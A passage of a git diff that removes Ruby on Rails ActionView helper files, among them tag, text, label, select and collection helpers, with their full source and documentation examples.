-module ActionView
-  # = Action View Tag Helpers
-  module Helpers #:nodoc:
-    # Provides methods to generate HTML tags programmatically when you can't use
-    # a Builder. By default, they output XHTML compliant tags.
-    module TagHelper
-      extend ActiveSupport::Concern
-      include CaptureHelper
-
-      BOOLEAN_ATTRIBUTES = %w(disabled readonly multiple checked autobuffer
-                           autoplay controls loop selected hidden scoped async
-                           defer reversed ismap seemless muted required
-                           autofocus novalidate formnovalidate open pubdate itemscope).to_set
-      BOOLEAN_ATTRIBUTES.merge(BOOLEAN_ATTRIBUTES.map {|attribute| attribute.to_sym })
-
-      PRE_CONTENT_STRINGS = {
-        :textarea => "\n"
-      }
-
-      # Returns an empty HTML tag of type +name+ which by default is XHTML
-      # compliant. Set +open+ to true to create an open tag compatible
-      # with HTML 4.0 and below. Add HTML attributes by passing an attributes
-      # hash to +options+. Set +escape+ to false to disable attribute value
-      # escaping.
-      #
-      # ==== Options
-      # You can use symbols or strings for the attribute names.
-      #
-      # Use +true+ with boolean attributes that can render with no value, like
-      # +disabled+ and +readonly+.
-      #
-      # HTML5 <tt>data-*</tt> attributes can be set with a single +data+ key
-      # pointing to a hash of sub-attributes.
-      #
-      # To play nicely with JavaScript conventions sub-attributes are dasherized.
-      # For example, a key +user_id+ would render as <tt>data-user-id</tt> and
-      # thus accessed as <tt>dataset.userId</tt>.
-      #
-      # Values are encoded to JSON, with the exception of strings and symbols.
-      # This may come in handy when using jQuery's HTML5-aware <tt>.data()</tt>
-      # from 1.4.3.
-      #
-      # ==== Examples
-      #   tag("br")
-      #   # => <br />
-      #
-      #   tag("br", nil, true)
-      #   # => <br>
-      #
-      #   tag("input", type: 'text', disabled: true)
-      #   # => <input type="text" disabled="disabled" />
-      #
-      #   tag("img", src: "open & shut.png")
-      #   # => <img src="open & shut.png" />
-      #
-      #   tag("img", {src: "open & shut.png"}, false, false)
-      #   # => <img src="open & shut.png" />
-      #
-      #   tag("div", data: {name: 'Stephen', city_state: %w(Chicago IL)})
-      #   # => <div data-name="Stephen" data-city-state="["Chicago","IL"]" />
-      def tag(name, options = nil, open = false, escape = true)
-        "<#{name}#{tag_options(options, escape) if options}#{open ? ">" : " />"}".html_safe
-      end
-
-      # Returns an HTML block tag of type +name+ surrounding the +content+. Add
-      # HTML attributes by passing an attributes hash to +options+.
-      # Instead of passing the content as an argument, you can also use a block
-      # in which case, you pass your +options+ as the second parameter.
-      # Set escape to false to disable attribute value escaping.
-      #
-      # ==== Options
-      # The +options+ hash is used with attributes with no value like (<tt>disabled</tt> and
-      # <tt>readonly</tt>), which you can give a value of true in the +options+ hash. You can use
-      # symbols or strings for the attribute names.
-      #
-      # ==== Examples
-      #   content_tag(:p, "Hello world!")
-      #    # => <p>Hello world!</p>
-      #   content_tag(:div, content_tag(:p, "Hello world!"), class: "strong")
-      #    # => <div class="strong"><p>Hello world!</p></div>
-      #   content_tag("select", options, multiple: true)
-      #    # => <select multiple="multiple">...options...</select>
-      #
-      #   <%= content_tag :div, class: "strong" do -%>
-      #     Hello world!
-      #   <% end -%>
-      #    # => <div class="strong">Hello world!</div>
-      def content_tag(name, content_or_options_with_block = nil, options = nil, escape = true, &block)
-        if block_given?
-          options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)
-          content_tag_string(name, capture(&block), options, escape)
-        else
-          content_tag_string(name, content_or_options_with_block, options, escape)
-        end
-      end
-
-      # Returns a CDATA section with the given +content+. CDATA sections
-      # are used to escape blocks of text containing characters which would
-      # otherwise be recognized as markup. CDATA sections begin with the string
-      # <tt><![CDATA[</tt> and end with (and may not contain) the string <tt>]]></tt>.
-      #
-      #   cdata_section("<hello world>")
-      #   # => <![CDATA[<hello world>]]>
-      #
-      #   cdata_section(File.read("hello_world.txt"))
-      #   # => <![CDATA[<hello from a text file]]>
-      #
-      #   cdata_section("hello]]>world")
-      #   # => <![CDATA[hello]]]]><![CDATA[>world]]>
-      def cdata_section(content)
-        splitted = content.gsub(']]>', ']]]]><![CDATA[>')
-        "<![CDATA[#{splitted}]]>".html_safe
-      end
-
-      # Returns an escaped version of +html+ without affecting existing escaped entities.
-      #
-      #   escape_once("1 < 2 & 3")
-      #   # => "1 < 2 & 3"
-      #
-      #   escape_once("<< Accept & Checkout")
-      #   # => "<< Accept & Checkout"
-      def escape_once(html)
-        ERB::Util.html_escape_once(html)
-      end
-
-      private
-
-        def content_tag_string(name, content, options, escape = true)
-          tag_options = tag_options(options, escape) if options
-          content     = ERB::Util.h(content) if escape
-          "<#{name}#{tag_options}>#{PRE_CONTENT_STRINGS[name.to_sym]}#{content}</#{name}>".html_safe
-        end
-
-        def tag_options(options, escape = true)
-          return if options.blank?
-          attrs = []
-          options.each_pair do |key, value|
-            if key.to_s == 'data' && value.is_a?(Hash)
-              value.each_pair do |k, v|
-                attrs << data_tag_option(k, v, escape)
-              end
-            elsif BOOLEAN_ATTRIBUTES.include?(key)
-              attrs << boolean_tag_option(key) if value
-            elsif !value.nil?
-              attrs << tag_option(key, value, escape)
-            end
-          end
-          " #{attrs.sort * ' '}".html_safe unless attrs.empty?
-        end
-
-        def data_tag_option(key, value, escape)
-          key   = "data-#{key.to_s.dasherize}"
-          unless value.is_a?(String) || value.is_a?(Symbol) || value.is_a?(BigDecimal)
-            value = value.to_json
-          end
-          tag_option(key, value, escape)
-        end
-
-        def boolean_tag_option(key)
-          %(#{key}="#{key}")
-        end
-
-        def tag_option(key, value, escape)
-          value = value.join(" ") if value.is_a?(Array)
-          value = ERB::Util.h(value) if escape
-          %(#{key}="#{value}")
-        end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/tags.rb b/actionpack/lib/action_view/helpers/tags.rb
deleted file mode 100644
index a05e169..0000000
--- a/actionpack/lib/action_view/helpers/tags.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-module ActionView
-  module Helpers
-    module Tags #:nodoc:
-      extend ActiveSupport::Autoload
-
-      autoload :Base
-      autoload :CheckBox
-      autoload :CollectionCheckBoxes
-      autoload :CollectionRadioButtons
-      autoload :CollectionSelect
-      autoload :ColorField
-      autoload :DateField
-      autoload :DateSelect
-      autoload :DatetimeField
-      autoload :DatetimeLocalField
-      autoload :DatetimeSelect
-      autoload :EmailField
-      autoload :FileField
-      autoload :GroupedCollectionSelect
-      autoload :HiddenField
-      autoload :Label
-      autoload :MonthField
-      autoload :NumberField
-      autoload :PasswordField
-      autoload :RadioButton
-      autoload :RangeField
-      autoload :SearchField
-      autoload :Select
-      autoload :TelField
-      autoload :TextArea
-      autoload :TextField
-      autoload :TimeField
-      autoload :TimeSelect
-      autoload :TimeZoneSelect
-      autoload :UrlField
-      autoload :WeekField
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/collection_check_boxes.rb b/actionpack/lib/action_view/helpers/tags/collection_check_boxes.rb
deleted file mode 100644
index 9b77ebe..0000000
--- a/actionpack/lib/action_view/helpers/tags/collection_check_boxes.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-require 'action_view/helpers/tags/collection_helpers'
-
-module ActionView
-  module Helpers
-    module Tags # :nodoc:
-      class CollectionCheckBoxes < Base # :nodoc:
-        include CollectionHelpers
-
-        class CheckBoxBuilder < Builder # :nodoc:
-          def check_box(extra_html_options={})
-            html_options = extra_html_options.merge(@input_html_options)
-            @template_object.check_box(@object_name, @method_name, html_options, @value, nil)
-          end
-        end
-
-        def render(&block)
-          rendered_collection = render_collection do |item, value, text, default_html_options|
-            default_html_options[:multiple] = true
-            builder = instantiate_builder(CheckBoxBuilder, item, value, text, default_html_options)
-
-            if block_given?
-              @template_object.capture(builder, &block)
-            else
-              render_component(builder)
-            end
-          end
-
-          # Append a hidden field to make sure something will be sent back to the
-          # server if all check boxes are unchecked.
-          hidden_name = @html_options[:name] || "#{tag_name}[]"
-          hidden = @template_object.hidden_field_tag(hidden_name, "", :id => nil)
-
-          rendered_collection + hidden
-        end
-
-        private
-
-        def render_component(builder)
-          builder.check_box + builder.label
-        end
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/collection_helpers.rb b/actionpack/lib/action_view/helpers/tags/collection_helpers.rb
deleted file mode 100644
index 41abd72..0000000
--- a/actionpack/lib/action_view/helpers/tags/collection_helpers.rb
+++ /dev/null
@@ -1,84 +0,0 @@
-module ActionView
-  module Helpers
-    module Tags # :nodoc:
-      module CollectionHelpers # :nodoc:
-        class Builder # :nodoc:
-          attr_reader :object, :text, :value
-
-          def initialize(template_object, object_name, method_name, object,
-                         sanitized_attribute_name, text, value, input_html_options)
-            @template_object = template_object
-            @object_name = object_name
-            @method_name = method_name
-            @object = object
-            @sanitized_attribute_name = sanitized_attribute_name
-            @text = text
-            @value = value
-            @input_html_options = input_html_options
-          end
-
-          def label(label_html_options={}, &block)
-            html_options = label_html_options.merge(@input_html_options)
-            @template_object.label(@object_name, @sanitized_attribute_name, @text, html_options, &block)
-          end
-        end
-
-        def initialize(object_name, method_name, template_object, collection, value_method, text_method, options, html_options)
-          @collection   = collection
-          @value_method = value_method
-          @text_method  = text_method
-          @html_options = html_options
-
-          super(object_name, method_name, template_object, options)
-        end
-
-        private
-
-        def instantiate_builder(builder_class, item, value, text, html_options)
-          builder_class.new(@template_object, @object_name, @method_name, item,
-                            sanitize_attribute_name(value), text, value, html_options)
-        end
-
-        # Generate default options for collection helpers, such as :checked and
-        # :disabled.
-        def default_html_options_for_collection(item, value) #:nodoc:
-          html_options = @html_options.dup
-
-          [:checked, :selected, :disabled].each do |option|
-            current_value = @options[option]
-            next if current_value.nil?
-
-            accept = if current_value.respond_to?(:call)
-              current_value.call(item)
-            else
-              Array(current_value).map(&:to_s).include?(value.to_s)
-            end
-
-            if accept
-              html_options[option] = true
-            elsif option == :checked
-              html_options[option] = false
-            end
-          end
-
-          html_options[:object] = @object
-          html_options
-        end
-
-        def sanitize_attribute_name(value) #:nodoc:
-          "#{sanitized_method_name}_#{sanitized_value(value)}"
-        end
-
-        def render_collection #:nodoc:
-          @collection.map do |item|
-            value = value_for_collection(item, @value_method)
-            text  = value_for_collection(item, @text_method)
-            default_html_options = default_html_options_for_collection(item, value)
-
-            yield item, value, text, default_html_options
-          end.join.html_safe
-        end
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/color_field.rb b/actionpack/lib/action_view/helpers/tags/color_field.rb
deleted file mode 100644
index bab2835..0000000
--- a/actionpack/lib/action_view/helpers/tags/color_field.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-module ActionView
-  module Helpers
-    module Tags # :nodoc:
-      class ColorField < TextField # :nodoc:
-        def render
-          options = @options.stringify_keys
-          options["value"] = options.fetch("value") { validate_color_string(value(object)) }
-          @options = options
-          super
-        end
-
-        private
-
-          def validate_color_string(string)
-            regex = /#[0-9a-fA-F]{6}/
-            if regex.match(string)
-              string.downcase
-            else
-              "#000000"
-            end
-          end
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/datetime_field.rb b/actionpack/lib/action_view/helpers/tags/datetime_field.rb
deleted file mode 100644
index 416d225..0000000
--- a/actionpack/lib/action_view/helpers/tags/datetime_field.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-module ActionView
-  module Helpers
-    module Tags # :nodoc:
-      class DatetimeField < TextField # :nodoc:
-        def render
-          options = @options.stringify_keys
-          options["value"] = options.fetch("value") { format_date(value(object)) }
-          options["min"] = format_date(options["min"])
-          options["max"] = format_date(options["max"])
-          @options = options
-          super
-        end
-
-        private
-
-          def format_date(value)
-            value.try(:strftime, "%Y-%m-%dT%T.%L%z")
-          end
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/label.rb b/actionpack/lib/action_view/helpers/tags/label.rb
deleted file mode 100644
index 180aa9a..0000000
--- a/actionpack/lib/action_view/helpers/tags/label.rb
+++ /dev/null
@@ -1,66 +0,0 @@
-module ActionView
-  module Helpers
-    module Tags # :nodoc:
-      class Label < Base # :nodoc:
-        def initialize(object_name, method_name, template_object, content_or_options = nil, options = nil)
-          options ||= {}
-
-          content_is_options = content_or_options.is_a?(Hash)
-          if content_is_options
-            options.merge! content_or_options
-            @content = nil
-          else
-            @content = content_or_options
-          end
-
-          super(object_name, method_name, template_object, options)
-        end
-
-        def render(&block)
-          options = @options.stringify_keys
-          tag_value = options.delete("value")
-          name_and_id = options.dup
-
-          if name_and_id["for"]
-            name_and_id["id"] = name_and_id["for"]
-          else
-            name_and_id.delete("id")
-          end
-
-          add_default_name_and_id_for_value(tag_value, name_and_id)
-          options.delete("index")
-          options.delete("namespace")
-          options.delete("multiple")
-          options["for"] = name_and_id["id"] unless options.key?("for")
-
-          if block_given?
-            content = @template_object.capture(&block)
-          else
-            content = if @content.blank?
-                        @object_name.gsub!(/\[(.*)_attributes\]\[\d\]/, '.\1')
-                        method_and_value = tag_value.present? ? "#{@method_name}.#{tag_value}" : @method_name
-
-                        if object.respond_to?(:to_model)
-                          key = object.class.model_name.i18n_key
-                          i18n_default = ["#{key}.#{method_and_value}".to_sym, ""]
-                        end
-
-                        i18n_default ||= ""
-                        I18n.t("#{@object_name}.#{method_and_value}", :default => i18n_default, :scope => "helpers.label").presence
-                      else
-                        @content.to_s
-                      end
-
-            content ||= if object && object.class.respond_to?(:human_attribute_name)
-                          object.class.human_attribute_name(@method_name)
-                        end
-
-            content ||= @method_name.humanize
-          end
-
-          label_tag(name_and_id["id"], content, options)
-        end
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/tags/select.rb b/actionpack/lib/action_view/helpers/tags/select.rb
deleted file mode 100644
index d64e2f6..0000000
--- a/actionpack/lib/action_view/helpers/tags/select.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-module ActionView
-  module Helpers
-    module Tags # :nodoc:
-      class Select < Base # :nodoc:
-        def initialize(object_name, method_name, template_object, choices, options, html_options)
-          @choices = choices
-          @choices = @choices.to_a if @choices.is_a?(Range)
-          @html_options = html_options
-
-          super(object_name, method_name, template_object, options)
-        end
-
-        def render
-          option_tags_options = {
-            :selected => @options.fetch(:selected) { value(@object) },
-            :disabled => @options[:disabled]
-          }
-
-          option_tags = if grouped_choices?
-            grouped_options_for_select(@choices, option_tags_options)
-          else
-            options_for_select(@choices, option_tags_options)
-          end
-
-          select_content_tag(option_tags, @options, @html_options)
-        end
-
-        private
-
-        # Grouped choices look like this:
-        #
-        #   [nil, []]
-        #   { nil => [] }
-        def grouped_choices?
-          !@choices.empty? && @choices.first.respond_to?(:last) && Array === @choices.first.last
-        end
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/text_helper.rb b/actionpack/lib/action_view/helpers/text_helper.rb
deleted file mode 100644
index 285d27d..0000000
--- a/actionpack/lib/action_view/helpers/text_helper.rb
+++ /dev/null
@@ -1,443 +0,0 @@
-require 'active_support/core_ext/string/filters'
-require 'active_support/core_ext/array/extract_options'
-
-module ActionView
-  # = Action View Text Helpers
-  module Helpers #:nodoc:
-    # The TextHelper module provides a set of methods for filtering, formatting
-    # and transforming strings, which can reduce the amount of inline Ruby code in
-    # your views. These helper methods extend Action View making them callable
-    # within your template files.
-    #
-    # ==== Sanitization
-    #
-    # Most text helpers by default sanitize the given content, but do not escape it.
-    # This means HTML tags will appear in the page but all malicious code will be removed.
-    # Let's look at some examples using the +simple_format+ method:
-    #
-    #   simple_format('<a href="http://example.com/">Example</a>')
-    #   # => "<p><a href=\"http://example.com/\">Example</a></p>"
-    #
-    #   simple_format('<a href="javascript:alert(\'no!\')">Example</a>')
-    #   # => "<p><a>Example</a></p>"
-    #
-    # If you want to escape all content, you should invoke the +h+ method before
-    # calling the text helper.
-    #
-    #   simple_format h('<a href="http://example.com/">Example</a>')
-    #   # => "<p><a href=\"http://example.com/\">Example</a></p>"
-    module TextHelper
-      extend ActiveSupport::Concern
-
-      include SanitizeHelper
-      include TagHelper
-      # The preferred method of outputting text in your views is to use the
-      # <%= "text" %> eRuby syntax. The regular _puts_ and _print_ methods
-      # do not operate as expected in an eRuby code block. If you absolutely must
-      # output text within a non-output code block (i.e., <% %>), you can use the concat method.
-      #
-      #   <%
-      #       concat "hello"
-      #       # is the equivalent of <%= "hello" %>
-      #
-      #       if logged_in
-      #         concat "Logged in!"
-      #       else
-      #         concat link_to('login', action: :login)
-      #       end
-      #       # will either display "Logged in!" or a login link
-      #   %>
-      def concat(string)
-        output_buffer << string
-      end
-
-      def safe_concat(string)
-        output_buffer.respond_to?(:safe_concat) ? output_buffer.safe_concat(string) : concat(string)
-      end
-
-      # Truncates a given +text+ after a given <tt>:length</tt> if +text+ is longer than <tt>:length</tt>
-      # (defaults to 30). The last characters will be replaced with the <tt>:omission</tt> (defaults to "...")
-      # for a total length not exceeding <tt>:length</tt>.
-      #
-      # Pass a <tt>:separator</tt> to truncate +text+ at a natural break.
-      #
-      # Pass a block if you want to show extra content when the text is truncated.
-      #
-      # The result is marked as HTML-safe, but it is escaped by default, unless <tt>:escape</tt> is
-      # +false+. Care should be taken if +text+ contains HTML tags or entities, because truncation
-      # may produce invalid HTML (such as unbalanced or incomplete tags).
-      #
-      #   truncate("Once upon a time in a world far far away")
-      #   # => "Once upon a time in a world..."
-      #
-      #   truncate("Once upon a time in a world far far away", length: 17)
-      #   # => "Once upon a ti..."
-      #
-      #   truncate("Once upon a time in a world far far away", length: 17, separator: ' ')
-      #   # => "Once upon a..."
-      #
-      #   truncate("And they found that many people were sleeping better.", length: 25, omission: '... (continued)')
-      #   # => "And they f... (continued)"
-      #
-      #   truncate("<p>Once upon a time in a world far far away</p>")
-      #   # => "<p>Once upon a time in a wo..."
-      #
-      #   truncate("Once upon a time in a world far far away") { link_to "Continue", "#" }
-      #   # => "Once upon a time in a wo...<a href="#">Continue</a>"
-      def truncate(text, options = {}, &block)
-        if text
-          length  = options.fetch(:length, 30)
-
-          content = text.truncate(length, options)
-          content = options[:escape] == false ? content.html_safe : ERB::Util.html_escape(content)
-          content << capture(&block) if block_given? && text.length > length
-          content
-        end
-      end
-
-      # Highlights one or more +phrases+ everywhere in +text+ by inserting it into
-      # a <tt>:highlighter</tt> string. The highlighter can be specialized by passing <tt>:highlighter</tt>
-      # as a single-quoted string with <tt>\1</tt> where the phrase is to be inserted (defaults to
-      # '<mark>\1</mark>')
-      #
-      #   highlight('You searched for: rails', 'rails')
-      #   # => You searched for: <mark>rails</mark>
-      #
-      #   highlight('You searched for: ruby, rails, dhh', 'actionpack')
-      #   # => You searched for: ruby, rails, dhh
-      #
-      #   highlight('You searched for: rails', ['for', 'rails'], highlighter: '<em>\1</em>')
-      #   # => You searched <em>for</em>: <em>rails</em>
-      #
-      #   highlight('You searched for: rails', 'rails', highlighter: '<a href="search?q=\1">\1</a>')
-      #   # => You searched for: <a href="search?q=rails">rails</a>
-      def highlight(text, phrases, options = {})
-        text = sanitize(text) if options.fetch(:sanitize, true)
-
-        if text.blank? || phrases.blank?
-          text
-        else
-          highlighter = options.fetch(:highlighter, '<mark>\1</mark>')
-          match = Array(phrases).map { |p| Regexp.escape(p) }.join('|')
-          text.gsub(/(#{match})(?![^<]*?>)/i, highlighter)
-        end.html_safe
-      end
-
-      # Extracts an excerpt from +text+ that matches the first instance of +phrase+.
-      # The <tt>:radius</tt> option expands the excerpt on each side of the first occurrence of +phrase+ by the number of characters
-      # defined in <tt>:radius</tt> (which defaults to 100). If the excerpt radius overflows the beginning or end of the +text+,
-      # then the <tt>:omission</tt> option (which defaults to "...") will be prepended/appended accordingly. Use the
-      # <tt>:separator</tt> option to choose the delimitation. The resulting string will be stripped in any case. If the +phrase+
-      # isn't found, nil is returned.
-      #
-      #   excerpt('This is an example', 'an', radius: 5)
-      #   # => ...s is an exam...
-      #
-      #   excerpt('This is an example', 'is', radius: 5)
-      #   # => This is a...
-      #
-      #   excerpt('This is an example', 'is')
-      #   # => This is an example
-      #
-      #   excerpt('This next thing is an example', 'ex', radius: 2)
-      #   # => ...next...
-      #
-      #   excerpt('This is also an example', 'an', radius: 8, omission: '<chop> ')
-      #   # => <chop> is also an example
-      #
-      #   excerpt('This is a very beautiful morning', 'very', separator: ' ', radius: 1)
-      #   # => ...a very beautiful...
-      def excerpt(text, phrase, options = {})
-        return unless text && phrase
-
-        separator = options[:separator] || ''
-        phrase    = Regexp.escape(phrase)
-        regex     = /#{phrase}/i
-
-        return unless matches = text.match(regex)
-        phrase = matches[0]
-
-        text.split(separator).each do |value|
-          if value.match(regex)
-            regex = phrase = value
-            break
-          end
-        end
-
-        first_part, second_part = text.split(regex, 2)
-
-        prefix, first_part   = cut_excerpt_part(:first, first_part, separator, options)
-        postfix, second_part = cut_excerpt_part(:second, second_part, separator, options)
-
-        affix = [first_part, separator, phrase, separator, second_part].join.strip
-        [prefix, affix, postfix].join
-      end
-
-      # Attempts to pluralize the +singular+ word unless +count+ is 1. If
-      # +plural+ is supplied, it will use that when count is > 1, otherwise
-      # it will use the Inflector to determine the plural form.
-      #
-      #   pluralize(1, 'person')
-      #   # => 1 person
-      #
-      #   pluralize(2, 'person')
-      #   # => 2 people
-      #
-      #   pluralize(3, 'person', 'users')
-      #   # => 3 users
-      #
-      #   pluralize(0, 'person')
-      #   # => 0 people
-      def pluralize(count, singular, plural = nil)
-        word = if (count == 1 || count =~ /^1(\.0+)?$/)
-          singular
-        else
-          plural || singular.pluralize
-        end
-
-        "#{count || 0} #{word}"
-      end
-
-      # Wraps the +text+ into lines no longer than +line_width+ width. This method
-      # breaks on the first whitespace character that does not exceed +line_width+
-      # (which is 80 by default).
-      #
-      #   word_wrap('Once upon a time')
-      #   # => Once upon a time
-      #
-      #   word_wrap('Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding a successor to the throne turned out to be more trouble than anyone could have imagined...')
-      #   # => Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding\na successor to the throne turned out to be more trouble than anyone could have\nimagined...
-      #
-      #   word_wrap('Once upon a time', line_width: 8)
-      #   # => Once\nupon a\ntime
-      #
-      #   word_wrap('Once upon a time', line_width: 1)
-      #   # => Once\nupon\na\ntime
-      def word_wrap(text, options = {})
-        line_width = options.fetch(:line_width, 80)
-
-        text.split("\n").collect do |line|
-          line.length > line_width ? line.gsub(/(.{1,#{line_width}})(\s+|$)/, "\\1\n").strip : line
-        end * "\n"
-      end
-
-      # Returns +text+ transformed into HTML using simple formatting rules.
-      # Two or more consecutive newlines(<tt>\n\n</tt>) are considered as a
-      # paragraph and wrapped in <tt><p></tt> tags. One newline (<tt>\n</tt>) is
-      # considered as a linebreak and a <tt><br /></tt> tag is appended. This
-      # method does not remove the newlines from the +text+.
-      #
-      # You can pass any HTML attributes into <tt>html_options</tt>. These
-      # will be added to all created paragraphs.
-      #
-      # ==== Options
-      # * <tt>:sanitize</tt> - If +false+, does not sanitize +text+.
-      # * <tt>:wrapper_tag</tt> - String representing the wrapper tag, defaults to <tt>"p"</tt>
-      #
-      # ==== Examples
-      #   my_text = "Here is some basic text...\n...with a line break."
-      #
-      #   simple_format(my_text)
-      #   # => "<p>Here is some basic text...\n<br />...with a line break.</p>"
-      #
-      #   simple_format(my_text, {}, wrapper_tag: "div")
-      #   # => "<div>Here is some basic text...\n<br />...with a line break.</div>"
-      #
-      #   more_text = "We want to put a paragraph...\n\n...right there."
-      #
-      #   simple_format(more_text)
-      #   # => "<p>We want to put a paragraph...</p>\n\n<p>...right there.</p>"
-      #
-      #   simple_format("Look ma! A class!", class: 'description')
-      #   # => "<p class='description'>Look ma! A class!</p>"
-      #
-      #   simple_format("<blink>Unblinkable.</blink>")
-      #   # => "<p>Unblinkable.</p>"
-      #
-      #   simple_format("<blink>Blinkable!</blink> It's true.", {}, sanitize: false)
-      #   # => "<p><blink>Blinkable!</span> It's true.</p>"
-      def simple_format(text, html_options = {}, options = {})
-        wrapper_tag = options.fetch(:wrapper_tag, :p)
-
-        text = sanitize(text) if options.fetch(:sanitize, true)
-        paragraphs = split_paragraphs(text)
-
-        if paragraphs.empty?
-          content_tag(wrapper_tag, nil, html_options)
-        else
-          paragraphs.map { |paragraph|
-            content_tag(wrapper_tag, raw(paragraph), html_options)
-          }.join("\n\n").html_safe
-        end
-      end
-
-      # Creates a Cycle object whose _to_s_ method cycles through elements of an
-      # array every time it is called. This can be used for example, to alternate
-      # classes for table rows. You can use named cycles to allow nesting in loops.
-      # Passing a Hash as the last parameter with a <tt>:name</tt> key will create a
-      # named cycle. The default name for a cycle without a +:name+ key is
-      # <tt>"default"</tt>. You can manually reset a cycle by calling reset_cycle
-      # and passing the name of the cycle. The current cycle string can be obtained
-      # anytime using the current_cycle method.
-      #
-      #   # Alternate CSS classes for even and odd numbers...
-      #   @items = [1,2,3,4]
-      #   <table>
-      #   <% @items.each do |item| %>
-      #     <tr class="<%= cycle("odd", "even") -%>">
-      #       <td>item</td>
-      #     </tr>
-      #   <% end %>
-      #   </table>
-      #
-      #
-      #   # Cycle CSS classes for rows, and text colors for values within each row
-      #   @items = x = [{first: 'Robert', middle: 'Daniel', last: 'James'},
-      #                {first: 'Emily', middle: 'Shannon', maiden: 'Pike', last: 'Hicks'},
-      #               {first: 'June', middle: 'Dae', last: 'Jones'}]
-      #   <% @items.each do |item| %>
-      #     <tr class="<%= cycle("odd", "even", name: "row_class") -%>">
-      #       <td>
-      #         <% item.values.each do |value| %>
-      #           <%# Create a named cycle "colors" %>
-      #           <span style="color:<%= cycle("red", "green", "blue", name: "colors") -%>">
-      #             <%= value %>
-      #           </span>
-      #         <% end %>
-      #         <% reset_cycle("colors") %>
-      #       </td>
-      #    </tr>
-      #  <% end %>
-      def cycle(first_value, *values)
-        options = values.extract_options!
-        name = options.fetch(:name, 'default')
-
-        values.unshift(first_value)
-
-        cycle = get_cycle(name)
-        unless cycle && cycle.values == values
-          cycle = set_cycle(name, Cycle.new(*values))
-        end
-        cycle.to_s
-      end
-
-      # Returns the current cycle string after a cycle has been started. Useful
-      # for complex table highlighting or any other design need which requires
-      # the current cycle string in more than one place.
-      #
-      #   # Alternate background colors
-      #   @items = [1,2,3,4]
-      #   <% @items.each do |item| %>
-      #     <div style="background-color:<%= cycle("red","white","blue") %>">
-      #       <span style="background-color:<%= current_cycle %>"><%= item %></span>
-      #     </div>
-      #   <% end %>
-      def current_cycle(name = "default")
-        cycle = get_cycle(name)
-        cycle.current_value if cycle
-      end
-
-      # Resets a cycle so that it starts from the first element the next time
-      # it is called. Pass in +name+ to reset a named cycle.
-      #
-      #   # Alternate CSS classes for even and odd numbers...
-      #   @items = [[1,2,3,4], [5,6,3], [3,4,5,6,7,4]]
-      #   <table>
-      #   <% @items.each do |item| %>
-      #     <tr class="<%= cycle("even", "odd") -%>">
-      #         <% item.each do |value| %>
-      #           <span style="color:<%= cycle("#333", "#666", "#999", name: "colors") -%>">
-      #             <%= value %>
-      #           </span>
-      #         <% end %>
-      #
-      #         <% reset_cycle("colors") %>
-      #     </tr>
-      #   <% end %>
-      #   </table>
-      def reset_cycle(name = "default")
-        cycle = get_cycle(name)
-        cycle.reset if cycle
-      end
-
-      class Cycle #:nodoc:
-        attr_reader :values
-
-        def initialize(first_value, *values)
-          @values = values.unshift(first_value)
-          reset
-        end
-
-        def reset
-          @index = 0
-        end
-
-        def current_value
-          @values[previous_index].to_s
-        end
-
-        def to_s
-          value = @values[@index].to_s
-          @index = next_index
-          return value
-        end
-
-        private
-
-        def next_index
-          step_index(1)
-        end
-
-        def previous_index
-          step_index(-1)
-        end
-
-        def step_index(n)
-          (@index + n) % @values.size
-        end
-      end
-
-      private
-        # The cycle helpers need to store the cycles in a place that is
-        # guaranteed to be reset every time a page is rendered, so it
-        # uses an instance variable of ActionView::Base.
-        def get_cycle(name)
-          @_cycles = Hash.new unless defined?(@_cycles)
-          return @_cycles[name]
-        end
-
-        def set_cycle(name, cycle_object)
-          @_cycles = Hash.new unless defined?(@_cycles)
-          @_cycles[name] = cycle_object
-        end
-
-        def split_paragraphs(text)
-          return [] if text.blank?
-
-          text.to_str.gsub(/\r\n?/, "\n").split(/\n\n+/).map! do |t|
-            t.gsub!(/([^\n]\n)(?=[^\n])/, '\1<br />') || t
-          end
-        end
-
-        def cut_excerpt_part(part_position, part, separator, options)
-          return "", "" unless part
-
-          radius   = options.fetch(:radius, 100)
-          omission = options.fetch(:omission, "...")
-
-          part = part.split(separator)
-          part.delete("")
-          affix = part.size > radius ? omission : ""
-
-          part = if part_position == :first
-            drop_index = [part.length - radius, 0].max
-            part.drop(drop_index)
-          else
-            part.first(radius)
-          end
-
-          return affix, part.join(separator)
-        end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/translation_helper.rb b/actionpack/lib/action_view/helpers/translation_helper.rb
deleted file mode 100644
index a1a2beb..0000000
--- a/actionpack/lib/action_view/helpers/translation_helper.rb
+++ /dev/null
@@ -1,103 +0,0 @@
-require 'action_view/helpers/tag_helper'
-require 'i18n/exceptions'
-
-module ActionView
-  # = Action View Translation Helpers
-  module Helpers
-    module TranslationHelper
-      # Delegates to <tt>I18n#translate</tt> but also performs three additional functions.
-      #
-      # First, it will ensure that any thrown +MissingTranslation+ messages will be turned 
-      # into inline spans that:
-      #
-      #   * have a "translation-missing" class set,
-      #   * contain the missing key as a title attribute and
-      #   * a titleized version of the last key segment as a text.
-      #
-      # E.g. the value returned for a missing translation key :"blog.post.title" will be
-      # <span class="translation_missing" title="translation missing: en.blog.post.title">Title</span>.
-      # This way your views will display rather reasonable strings but it will still
-      # be easy to spot missing translations.
-      #
-      # Second, it'll scope the key by the current partial if the key starts
-      # with a period. So if you call <tt>translate(".foo")</tt> from the
-      # <tt>people/index.html.erb</tt> template, you'll actually be calling
-      # <tt>I18n.translate("people.index.foo")</tt>. This makes it less repetitive
-      # to translate many keys within the same partials and gives you a simple framework
